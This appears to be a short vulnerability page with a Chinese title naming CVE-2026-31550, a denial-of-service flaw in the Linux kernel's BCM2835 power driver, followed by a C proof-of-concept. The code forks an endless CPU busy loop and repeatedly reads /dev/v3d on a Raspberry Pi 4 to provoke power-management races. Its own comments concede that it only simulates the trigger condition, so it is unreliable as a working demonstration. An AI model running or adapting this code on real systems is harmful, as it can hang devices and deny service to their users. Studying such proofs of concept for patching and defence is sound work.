CVE-2026-31550: Linux内核BCM2835电源驱动DoS漏洞

/* * PoC for CVE-2026-31550 * Concept: Trigger high CPU load and attempt to access V3D device * to force power management transition during the race window. * Target: Linux Kernel on BCM2711 (e.g., Raspberry Pi 4) */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/v3d" void high_load_workload() { printf("[+] Starting high load workload...\n"); volatile unsigned long counter = 0; while (1) { counter++; // Use memory barrier to prevent optimization __asm__ __volatile__ ("" ::: "memory"); } } int main() { int fd = -1; // Attempt to open V3D device to trigger PM operations fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open V3D device (may be fine if not root)\n"); // Continue to generate load anyway } // Fork to create load while trying to access device if (fork() == 0) { high_load_workload(); } // Main process attempts to trigger suspend/resume cycles // In a real scenario, this requires interacting with sysfs or specific ioctls // Here we simulate the trigger condition. printf("[+] Triggering PM transitions...\n"); while (1) { if (fd >= 0) { // Dummy read to potentially trigger activity char buf[10]; read(fd, buf, 1); } usleep(1000); // 1ms delay } return 0; }